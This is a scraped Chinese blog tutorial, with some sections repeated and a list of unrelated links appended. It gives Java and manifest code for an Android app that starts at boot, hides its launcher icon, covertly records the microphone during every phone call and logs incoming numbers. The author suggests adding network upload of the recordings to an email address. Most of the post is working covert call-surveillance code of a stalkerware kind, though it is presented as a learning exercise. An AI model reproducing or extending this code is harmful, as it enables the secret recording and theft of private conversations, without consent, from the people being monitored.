android实现监听打电话并录音保存到本地
来源:互联网 发布:淘宝hot怎么收费 编辑:程序博客网 时间:2024/05/16 07:37
监听电话app
一.功能简介:
本demo基于android 6.0实现对麦克风的录音,将录音保存到本地。利用广播监听开机启动,并开启监听服务。如果有兴趣,可以添加网络权限和上传功能到指定邮箱等等。
二. 代码简介
1.StartPhoneBroadcast.java 本类用于监听开机启动事件,并开启监听服务。
2.MyService.java类
因为需要申请权限,所以在MainActivity中添加权限申请。
Manifest.permission.READ_PHONE_STATE, //读取电话状态
Manifest.permission.RECEIVE_BOOT_COMPLETED, //开机启动广播(不需要手动申请)
Manifest.permission.WRITE_EXTERNAL_STORAGE, //读写SD卡
Manifest.permission.RECORD_AUDIO //录音权限
五.总结
本案例是用来学习监听电话录音的,由于录音只能识别麦克风的声音,所以只能录下自己说的话,如果需要录下对方的声音,需要在打电话的时候开启扬声器。
本demo基于android 6.0实现对麦克风的录音,将录音保存到本地。利用广播监听开机启动,并开启监听服务。如果有兴趣,可以添加网络权限和上传功能到指定邮箱等等。
二. 代码简介
1.StartPhoneBroadcast.java 本类用于监听开机启动事件,并开启监听服务。
public void onReceive(Context context, Intent intent) { if(ACTION_BOOT.equals(intent.getAction())){ //检测到系统开机 Toast.makeText(context,"已开机",Toast.LENGTH_LONG).show(); Intent service=new Intent(); service.setClass(context, MyService.class); context.startService(service); } }注:ACTION_BOOT为自定义字符串private final String ACTION_BOOT = "android.intent.action.BOOT_COMPLETED";
2.MyService.java类
@Override public void onCreate() { super.onCreate(); //获取电话管理器对象 TelephonyManager telephonyManager= ( TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE); //设置电话监听器,监听电话状态 telephonyManager.listen(new MyTelephoneListener(),PhoneStateListener.LISTEN_CALL_STATE); } //定义监听内部类实现监听录音 class MyTelephoneListener extends PhoneStateListener{ private MediaRecorder recorder; private boolean record; private File audioFile; @Override public void onCallStateChanged(int state, String incomingNumber) { super.onCallStateChanged(state, incomingNumber); switch (state){ case TelephonyManager.CALL_STATE_OFFHOOK: recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //内容输出格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); //输出到缓存目录,此处可以添加上传录音的功能,也可以存到其他位置 audioFile = new File(getCacheDir(), "recoder"+ "_" + System.currentTimeMillis() + ".3gp"); recorder.setOutputFile(audioFile.getAbsolutePath()); try { recorder.prepare(); } catch (IOException e) { e.printStackTrace(); } recorder.start(); record=true; Log.i(tag,"电话已经摘机"); break; case TelephonyManager.CALL_STATE_RINGING: String mobile=incomingNumber; Log.i(tag,"电话已响铃"); Log.i(tag,mobile+"来电"); break; case TelephonyManager.CALL_STATE_IDLE: if(record) { recorder.stop(); //停止刻录 recorder.release(); //释放资源 Log.i(tag, "电话空闲"); record=false; } break; } } }三.MainActivity类
因为需要申请权限,所以在MainActivity中添加权限申请。
Manifest.permission.READ_PHONE_STATE, //读取电话状态
Manifest.permission.RECEIVE_BOOT_COMPLETED, //开机启动广播(不需要手动申请)
Manifest.permission.WRITE_EXTERNAL_STORAGE, //读写SD卡
Manifest.permission.RECORD_AUDIO //录音权限
protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); verifyStoragePermissions(this); } @Override public boolean onCreateOptionsMenu(Menu menu) { return super.onCreateOptionsMenu(menu); } private static final int READ_PHONE_STATE = 1; private static String[] CALLS_STATE = { Manifest.permission.READ_PHONE_STATE, Manifest.permission.WRITE_EXTERNAL_STORAGE, Manifest.permission.RECORD_AUDIO }; public static void verifyStoragePermissions(Activity activity) { int permission = ActivityCompat.checkSelfPermission(activity, Manifest.permission.READ_PHONE_STATE); if (permission != PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions(activity, CALLS_STATE , READ_PHONE_STATE); } }四.在资源文件中配置
<?xml version="1.0" encoding="utf-8"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="my.com.services01"> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> <!-- 用于隐藏应用快捷图标--> <data android:host="MainActivity" android:scheme="my.com.Mainactivity" /> </intent-filter> </activity> <service android:name="my.com.service.MyService"> </service> <receiver android:name="my.com.broadcast.StartPhoneBroadcast" > <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> </application></manifest>
五.总结
本案例是用来学习监听电话录音的,由于录音只能识别麦克风的声音,所以只能录下自己说的话,如果需要录下对方的声音,需要在打电话的时候开启扬声器。
0 0
- android实现监听打电话并录音保存到本地
- java实现录音并保存到本地文件
- unity 录音并保存本地
- Java实现截图并保存到本地
- java实现截图并保存到本地
- android 之service实现电话监听并录音
- Android画图并保存图片到本地
- android 设置头像并保存到本地
- android 绘画板并保存到本地
- Flash AS3录音回放保存到本地
- 基于Android实现保存图片到本地并可以在相册中显示出来
- Android实现保存图片到本地并在相册中显示
- Android实现将View转化为图片并保存到本地
- android进行录音功能并保存播放
- 利用robot类实现截屏并保存到本地
- java零碎总结---java实现截图并保存到本地
- Python 实现简单的爬虫功能并保存到本地
- 如何实现android中监听来电并生成悬浮窗体提示 以及 打电话
- kali Linux上安装java
- Android 清单文件小结以及AS编译版本
- inputType参数类型说明
- JS的DOM操作元素示例1--删除添加元素
- javaweb-浏览器根据搜索条件从服务器导出/导入excel到本地
- android实现监听打电话并录音保存到本地
- Spring Boot【原理分析】(3)——BeanDefinition
- version of spring facet could not be detected.see error log for details.解决方案
- 记一次断电后solr重启异常
- Block 其实很简单的
- centos:sshd 服务操作
- gstreamer学习笔记:将音视频合成MPEG2-TS流并打包通过rtp传输
- 2017书单
- HTTP协议6-HTTP内容类型